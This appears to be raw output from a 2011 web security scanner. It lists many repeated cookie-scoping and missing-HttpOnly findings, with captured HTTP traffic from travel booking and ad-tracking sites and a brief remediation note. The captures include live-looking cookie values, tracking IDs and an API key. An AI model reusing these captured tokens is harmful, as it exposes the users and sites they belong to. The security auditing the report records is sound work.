The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:01:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.3 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Set-Cookie: rpb=4940%3D1%267751%3D1%265364%3D1%267259%3D1%267249%3D1%267935%3D1%266643%3D1%264212%3D1%266286%3D1%265852%3D1%266432%3D1%267727%3D1%264210%3D1%265671%3D1%264554%3D1%266073%3D1%262372%3D1%263810%3D1%262374%3D1; expires=Sat, 31-Mar-2012 00:01:11 GMT; path=/; domain=.rubiconproject.com Content-Length: 49 Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<html><body><p>Redirecting to <a href="http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/9/url/">http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/9/u ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<html><body><p>Redirecting to <a href="http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/3/url/">http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/3/u ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<html><body><!-- PubMatic- Exclude user - DO NOT MODIFY THIS PIXEL IN ANY WAY --> <img src='http://image2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MiZjb2RlPTIwNTQmdGw9NTE4NDAw ' width='1' height ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /safebrowsing/downloads?client=googlechrome&appver=14.0.835.187&pver=2.2&wrkey=AKEgNitErWf0UFLnRnw3Az6mp57JIWbOiz4iR9gNFsjxTOQfoHIRqIpBEuaneWSYfX0d7kUgr1D2W0FMpF_cHSqPs9XEwGa4Xg== HTTP/1.1 Host: safebrowsing.clients.google.com Proxy-Connection: keep-alive Content-Length: 195 Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept-Encoding: gzip,deflate,sdch
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Found Date: Sun, 02 Oct 2011 23:58:02 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=1343AC00FD7B0F|segment=(adg-t:1343)|f20004352=(s:1-t:13702351)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:58:02 GMT Cache-Control: no-cache, no-store Content-Length: 0 pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: http://www.barclayswealth.com/international/foreign-exchange-affiliates.htm?WT.mc_ID=DISP_Premiership_080711 Via: 1.1 sjc005200 (MII-APC/2.1) Content-Type: text/plain
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Set-Cookie: flashtalkingad1="GUID=1343AC00FD7B0F|segment=(adg-t:1343)|f20004352=(s:2-t:13702351)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:53:28 GMT Cache-Control: no-cache, no-store Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Sun, 02 Oct 2011 23:53:28 GMT Server: Jetty(6.1.22) Content-Type: text/javascript Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a) Connection: keep-alive Content-Length: 582
var ftGUID_183799="1343AC00FD7B0F"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;li ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
lm="2 Oct 2011 23:51:41 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
function esf(){var M='',nb='" for "gwt:onLoadErrorFn"',lb='" for "gwt:onPropertyErrorFn"',Y='"><\/script>',$='#',Lb='.cache.html?jsessionid='+jsessionid,ab='/',Fb='226C4CC2E5A5A4FBE9703DC949A8A7C5',Gb ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /rest/json?data={%22aid%22:%2211%22,%22sid%22:%22D5E8C261-B1E7-4A8B-AEEE-A8B3463F3408%22,%22r%22:265892,%22si%22:1,%22url%22:%22http://www.agoda.com/%22,%22ua%22:%22Mozilla/5.0%20(Windows%20NT%206.1;%20WOW64)%20AppleWebKit/535.1%20(KHTML,%20like%20Gecko)%20Chrome/14.0.835.187%20Safari/535.1%22,%22dlt%22:10244,%22clt%22:29183,%22dcl%22:37693,%22lt%22:37694,%22nt%22:0,%22rc%22:0,%22ft%22:2013,%22dt%22:0,%22ct%22:0,%22sct%22:null,%22rqt%22:2006,%22rpt%22:2,%22let%22:1,%22nl%22:1886} HTTP/1.1 Host: uxm.thousandeyes.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.agoda.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:40:45 GMT Server: Apache/2.2.14 (Ubuntu) P3P: policyref='/p3p/p3p.xml', CP='NOI NID HISa OTPa OUR UNRa BUS COM NAV' Set-Cookie: _uxm_cid=D5E8C261-B1E7-4A8B-AEEE-A8B3463F3408; Domain=.thousandeyes.com; Expires=Tue, 02-Oct-2012 00:40:45 GMT Vary: Accept-Encoding Content-Length: 2 Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bts/generic14.php?cname=nwmhotwire&cvalue=hotelsearch HTTP/1.1 Host: vitamine.networldmedia.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/results.jsp?searchTokenId=1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:41:30 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.9 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR LAW ADM DEV PSA PSD HIS OUR IND UNI" Set-Cookie: nwmhotwire=hotelsearch; expires=Wed, 02-Nov-2011 00:41:30 GMT; path=/; domain=networldmedia.net Vary: Accept-Encoding,User-Agent Content-Length: 43 X-Cnection: close Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /partners/partnersearch.aspx?CkInDay=09&CkInMonth=10&CkInYear=2011&CkOutDay=16&CkOutMonth=10&CkOutYear=2011&NumberOfRooms=1&NumberOfAdults=1&NumberOfChildren=0&CityName=&CID=1444075 HTTP/1.1 Host: www.agoda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.trip.com/hotels.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:10:08 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDUvX0uhP7z%2Fu1ZYaz9gNQxd55IafrcqsKewAgZpMaj5fZabk6MFuDRuvq58o6S2dFSXEquO8K6cAWdvyRuc9JcewxnlHHL8GOYIx9VvQ59CrwhdaIdStBZrU5q4Ul2guClyvts5IXkU8Ih0ABSFc1yfREbdE8%2B7ma2cdK4o8HDAbGpXup2Rud%2FuWVZbsTNKpP8CfTOZ7OhNndhDIMCH%2FJpeMJWPbLEdaMaSYZn4vDHoQNmtnBn6b8J%2Fb6augQoxf00frRkHVbY68KfYJ505LitOqZ3oZ7z%2FwWy8DZZ0x0aep1Yc6ZO1bfNGToKbQA4b3%2BxXEdyray%2BAxRgnHfTdirXBHrIiwYmgWtjP419X8wonEpceXpCxBzAgvZowpzjITfR8pibhKJiXP8ZIktgM27Ko%2FN0FeapHlFd7qCXe40H6spMYjXkuJghhqyYrHCfhKoxOnIURuiKYju5FyTsAf%2FcGCZQJq5Jz5ROykvLbFlG3FMtN8ezy525Y0V8ACsXyGSJX%2BtAj8qMHr8NQ18df5HpjNT18Hj%2BR%2Bh58NwJwwGSDZjCpXVyLIq62qeabC1McUJgXncEdtL96x7CT%2FvNpdhLhQs7YiMdGaBLTHQTiwULvwyjL3vRFAAGqf8FaoHB%2B87GGYPg8Zzjv%2FAPfoqMyv0OJ%2Bvo1UWD4XBr1wWtIBwidOwITrWQUTf6BVJbKeYZmUvJzYcSSdA3UcFUpr9u1XIBJZ%2F0I4DksHfQhFfmwQ00nikj%2FywtBV%2F84%2BElq4XUsM8Gh%2FcAK5W8NIqtn5QRqry6pE1NgaNCX68XLgU6zltzmw4cLFtMMbOsIx7ofy9ssO6wOlJNxZdhfbLc4O7Zj%2BMWlGTqVrC42NkTgj4512OLZ%2Fc6I67UMvxh3Qie%2FlodheV5sPFXIR5FRrKWi4wsUs48W8gfOBJvpOolIwpdDJdTSxjSuRPL01EuNp7z3Dzy3wlaJZQbE6JrU8PlbJc7tBTRWHZ4mRSdH%2FtGgL9yyifCtziMdOGXNw6kftdRVdI%2FGDbzndHQiN35W7VHyoeMFRi%2Bd0F1FkpavfYxfQdNoqwcdwsAEmwMjyALxN7GqyN1qmLPU4%2BEEBPt5ms%2F7RsoZErADPkOg986sTx5Aq%2B86Q6HID1BJLr7mUjVwW%2FTOkTW4s5494hGd%2FgPB5yo0b0OuCALpHxQxAubkIgrz6yNEReexNwFQBY6hvQFMAFVvhYSMd%2FLdChQJHNAANkDJjdsfannaTHlca6HDzStDUKlpg5Rxu4hGW%2F39QUq9dNAvdq6dQirX43mfviJRlxEdXAXSib9a34ZWTPn%2Bq%2F; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:10:09 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 388853 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
iEAPID=00000,; Domain=.expedia.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
iEAPID=00000,; Domain=.expedia.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Location: /Hotel.h894999.Hotel-Information?hashTag=roomsAndRates&&chkin=10/14/11&chkout=10/16/11&rm1=a2&icmcid=TRIPA.Expedia_US-H_B4.11893.T&icmdtl=MT1110027Z3xeMPeET6itK0Qu1f-JQAAU.894999.HDSSDeE.T.QCI.258705.ch.668.60745.en_US..&eapid=21187-1 Content-Length: 383 Content-Type: text/html Cache-Control: private Date: Mon, 03 Oct 2011 01:02:12 GMT Connection: close Vary: Accept-Encoding Set-Cookie: p1=`tpid=v.1,1`11; expires=Sun, 2-Oct-2016 00:00:01 GMT; domain=.expedia.com; path=/ Set-Cookie: iEAPID=21187; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="/Hotel.h894999.Hotel-Information?hashTag=roomsAndRates&&chkin=10/14/11&chkout=10/16/11 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head><title></title></head><body><p></p></body></html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head><title></title></head><body><p></p></body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=71A4AF1632EAB3B1F4E0C49149EEC65B|egapp27p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Mon, 03 Oct 2011 00:06:46 GMT Content-Length: 174769
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp27p|"; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|BOS|MIA|10/11/11|||||||||10/24/11|10/24/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:37:17 GMT; Path=/ Set-Cookie: OrbitzRegistration="N,3,0,0"; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:37:17 GMT; Path=/ Date: Mon, 03 Oct 2011 00:37:16 GMT Content-Length: 3419
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=71A4AF1632EAB3B1F4E0C49149EEC65B|egapp27p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html ntCoent-Length: 960 Date: Mon, 03 Oct 2011 00:06:52 GMT Content-Length: 960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp27p|"; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Mon, 03 Oct 2011 00:37:19 GMT Content-Length: 492180
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:03:22 GMT; domain=.wtp101.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Tue, 01 Oct 2013 23:58:07 GMT; domain=.wtp101.com
s=!1762!2445!1731; path=/; expires=Tue, 01 Oct 2013 23:58:07 GMT; domain=.wtp101.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Tue, 01 Oct 2013 23:54:23 GMT; domain=.wtp101.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
